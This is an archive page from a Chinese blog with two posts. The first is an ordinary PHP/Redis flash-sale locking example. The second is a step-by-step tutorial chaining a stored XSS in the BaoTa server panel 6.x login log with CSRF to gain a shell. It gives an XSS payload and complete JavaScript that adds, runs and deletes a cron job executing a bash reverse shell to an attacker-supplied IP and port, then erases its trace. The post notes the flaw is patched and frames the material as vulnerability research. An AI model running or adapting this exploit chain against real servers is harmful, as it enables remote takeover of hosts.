月度归档: 2018 年 11 月

  • PHP 基于Redis/Memcached的高并发秒杀 锁 设计思路 代码示例

    PHP 基于Redis/Memcached的高并发秒杀 锁 设计思路 代码示例

    如何设计高并发时的秒杀,是面试电商技术职位时必考的题目。今天在这里分享一下php基于Redis或Memcached的技术方案,能解决重复提交、超发、高并发的问题。

    <?php

    //预定义总库存
    define(“TOTAL_STOCK”, 5);
    //预定义商品编号
    define(“ITEM_ID”, “ITEM_001”);

    $userId = $_GET[‘userId’];
    $userIdKey = ITEM_ID . ‘_’ . $userId;

    $redis = new redis();
    //如果有多台Redis服务器,可根据商品编号哈希后得到其中一台redis的地址
    $result = $redis->connect(‘master104’, 6379);

    //获取之前已经领取掉的数量
    $requested = $redis->get(“requested”);
    echo “领取前库存: ” . (string)(TOTAL_STOCK – $requested) . “<br />”;

    //如果已领取大于预定义库存,则认为库存为零,不允许继续
    if ($requested && ($requested >= TOTAL_STOCK))
    {
    echo “已领完,请下次再来”;
    die();
    }

    //通过设置用户对该商品的领取状态,来检查该用户是否已领取过
    //如果使用Memcached的话,可以使用cas()
    if (!$redis->setnx($userIdKey, 1))
    {
    echo “您已领取过该商品,不允许重复领取”;
    die();
    }

    //增加领取数量以减少库存。
    //高并发情况下可能会有多个incr()是成功的。但是没关系,在领取数大于库存数后,通过下面的if判断后,后面的请求都是无效的。
    $requested = $redis->incr(“requested”);

    //如果尝试增加的时候,发现库存已经为零了,需要重置用户领取状态
    if ($requested && ($requested > TOTAL_STOCK))
    {
    $redis->del($userIdKey);
    echo “已领完,请下次再来”;
    die();
    }

    //以下可以做其他的后续操作,比如各种异步并行操作,或是投递消息到队列,等等
    //Step1
    //…
    //StepN

    //如果步骤进行到这里,不管以上的异步操作进行得如何,我们都必须认为用户已经领取成功。
    //即使有任何失败,我们都需要用技术手段帮用户完成上述Step1到StepN
    echo “领取成功!<br />”;
    echo “领取后库存: ” . (string)(TOTAL_STOCK – $requested) . “<br />”;

  • 某面板6.x版本前台存储xss+后台csrf组合拳getshell 图文教程

    某面板6.x版本前台存储xss+后台csrf组合拳getshell 图文教程

    【前言】

    什么是宝塔面板?

    宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。

    【漏洞代码分析】

    在6.x linux版本宝塔面板当中当中,相对与5.x版本,记录了验证码错误并存入数据库当中,存储xss缺陷就是在此处产生。

    我们直接看漏洞代码。

    直接分析post请求部分。

    代码如下:

    我们可以看到这里首先判断了是否有 用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。
    从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误

    关键的代码如下:

    此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面,找到如下函数

    这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。
    可以在宝塔数据库当中,看到logs数据库里存储的信息

    【漏洞复现】

    我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

    由于没有任何过滤处理,我们直接输入弹窗的payload:<script>alert(‘www.dafsec.org’)</script>

    登录后台后,打开安全模块,成功触发弹窗。

    由于服务器管理面板的特殊性,后台可以进行敏感操作。手写js远程调用,利用csrf漏洞在计划任务处配合存储xss,可成功反弹shell,弹shell成功截图如下:

    远程调用的js代码如下:

    function addTask(TaskName, execTime, ip, port) {
        var execShell = 'bash -i >& /dev/tcp/your_ip/your_port 0>&1';
        execShell = encodeURIComponent(execShell);
        var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined'
        var xhr = new XMLHttpRequest();
        xhr.open('POST', '/crontab?action=AddCrontab', false);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.send(params);
    }
    function execTask(TaskName) {
        var xhr = new XMLHttpRequest();
        xhr.open('POST', '/crontab?action=GetCrontab', true);
        xhr.send();
        xhr.onload = function () {
            if (this.readyState == 4 && this.status == 200) {
                var res = JSON.parse(this.responseText);
                if (res[0].name == TaskName) {
                    var TaskID = res[0].id.toString();
                    var xhr = new XMLHttpRequest();
                    xhr.open('POST', '/crontab?action=StartTask', false);
                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                    var params = 'id=' + TaskID;
                    xhr.send(params);
                    delTask(res[0].id);
                    console.log(res[0].id);
                    return res[0].id;
                }
            }
        }
    }
    function delTask(TaskID) {
        var params = 'id=' + TaskID.toString();
        var xhr = new XMLHttpRequest();
        xhr.open('POST', '/crontab?action=DelCrontab', false);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.send(params);
    }
    var TaskName = Math.random().toString(36).substring(7);
    addTask(TaskName, '5', '1.1.1.1', '53');
    execTask(TaskName);
    

    【后序】

    宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公网,请及时更新至最新版本。
    官方已修复该漏洞,漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py

WeChat
↑